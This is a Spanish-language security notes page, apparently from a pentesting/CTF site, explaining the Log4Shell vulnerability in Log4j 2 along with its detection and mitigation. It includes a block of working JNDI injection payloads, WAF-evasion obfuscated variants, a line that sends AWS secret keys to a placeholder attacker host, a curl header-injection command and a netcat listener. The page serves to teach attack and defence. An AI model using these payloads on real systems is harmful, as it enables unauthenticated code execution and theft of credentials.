the_open_door
café
ESEN
← Volver al índice

Log4Shell (CVE-2021-44228)

ATT&CKT1190
Arsenal completo de comandos en la cheatsheet

Log4Shell es la vulnerabilidad crítica (CVE-2021-44228, diciembre de 2021) de Log4j 2, la librería de logging más extendida del ecosistema Java. Afecta a las versiones 2.0-beta9 a 2.14.1.

La causa: lookups en los mensajes. Log4j permite interpolar expresiones dentro de los mensajes que registra mediante la sintaxis ${...}. Una de esas expresiones es JNDI (Java Naming and Directory Interface), un API que resuelve nombres contra servicios de directorio (LDAP, RMI, DNS). Si una cadena que Log4j registra contiene ${jndi:ldap://atacante/recurso}, la librería contacta con ese servidor y, en las versiones vulnerables, descarga y ejecuta una clase Java que el atacante sirve. El resultado es ejecución remota de código sin autenticación.

Por qué la superficie fue enorme. El payload no necesita un campo concreto: vale cualquier dato que acabe en un log(). En la práctica eso incluye cabeceras HTTP (User-Agent, X-Forwarded-For), nombres de usuario, parámetros, asuntos de correo, nombres de fichero o, como en Crafty, el chat de un servidor de Minecraft 1.16.5 (el cliente y el servidor del juego registraban los mensajes con Log4j).

Cómo se confirma sin ejecutar código. Antes de lanzar el exploit completo, se envía un payload de prueba que solo provoca una conexión saliente: ${jndi:ldap://<mi-ip>} con un listener (nc -nlvp 389) escuchando. Si la víctima conecta, su Log4j ha interpretado la cadena y la vulnerabilidad está confirmada.

# payload base y variantes ofuscadas para saltar filtros/WAF (probar en User-Agent, params, etc.)
${jndi:ldap://<lhost>:1389/a}
${jndi:rmi://<lhost>:1099/a}
${jndi:dns://<lhost>/a}
${${lower:j}ndi:${lower:l}${lower:d}ap://<lhost>/a}
${${::-j}${::-n}${::-d}${::-i}:ldap://<lhost>/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap://<lhost>/a}
# exfiltrar variables de entorno en el subdominio (secretos)
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.<lhost>/a}
# inyectar en una cabecera con curl
curl http://<ip>/ -H 'User-Agent: ${jndi:ldap://<lhost>:1389/a}'

La explotación completa suele apoyarse en una herramienta como kozmer/log4j-shell-poc, que orquesta tres piezas: un LDAP rogue (puerto 1389) que redirige a un servidor HTTP con una clase Java compilada que ejecuta el comando deseado. Un detalle importante: las versiones modernas del JDK bloquean por defecto la carga remota de clases por JNDI (com.sun.jndi.ldap.object.trustURLCodebase=false), por eso los PoC clásicos necesitan un JDK antiguo (p.ej. 8u202) para reproducir el ataque.

Cómo detectarlo. La firma en la entrada es la cadena ${jndi: (y sus ofuscaciones: ${${lower:j}ndi:, ${env:...}, esquemas ldap/rmi/dns) en cualquier campo que se registre: cabeceras HTTP (User-Agent, X-Forwarded-For), parámetros, rutas. Un WAF y un grep en los logs de acceso la cazan, aunque la ofuscación obliga a firmas amplias. La detección definitiva es de red: la interpolación JNDI provoca que el servidor Java haga una petición saliente LDAP/RMI/DNS hacia el host del atacante, así que una conexión de egreso desde una JVM hacia un ldap:///rmi:// externo, o una consulta DNS anómala, es la prueba de que el lookup se ejecutó. En el host, la fase de RCE deja a java engendrando sh/bash (Sysmon 1 / auditd). La conexión saliente es la señal más fiable porque no depende de descifrar la ofuscación.

Defensa. Actualizar a Log4j 2.17.1 o posterior; como mitigación temporal, arrancar la JVM con -Dlog4j2.formatMsgNoLookups=true o eliminar la clase JndiLookup del classpath. A largo plazo, nunca registrar entrada del usuario sin sanear y mantener el inventario de dependencias al día (la verdadera lección de Log4Shell fue la supply chain: casi nadie sabía dónde tenía Log4j).

Máquinas donde se aplica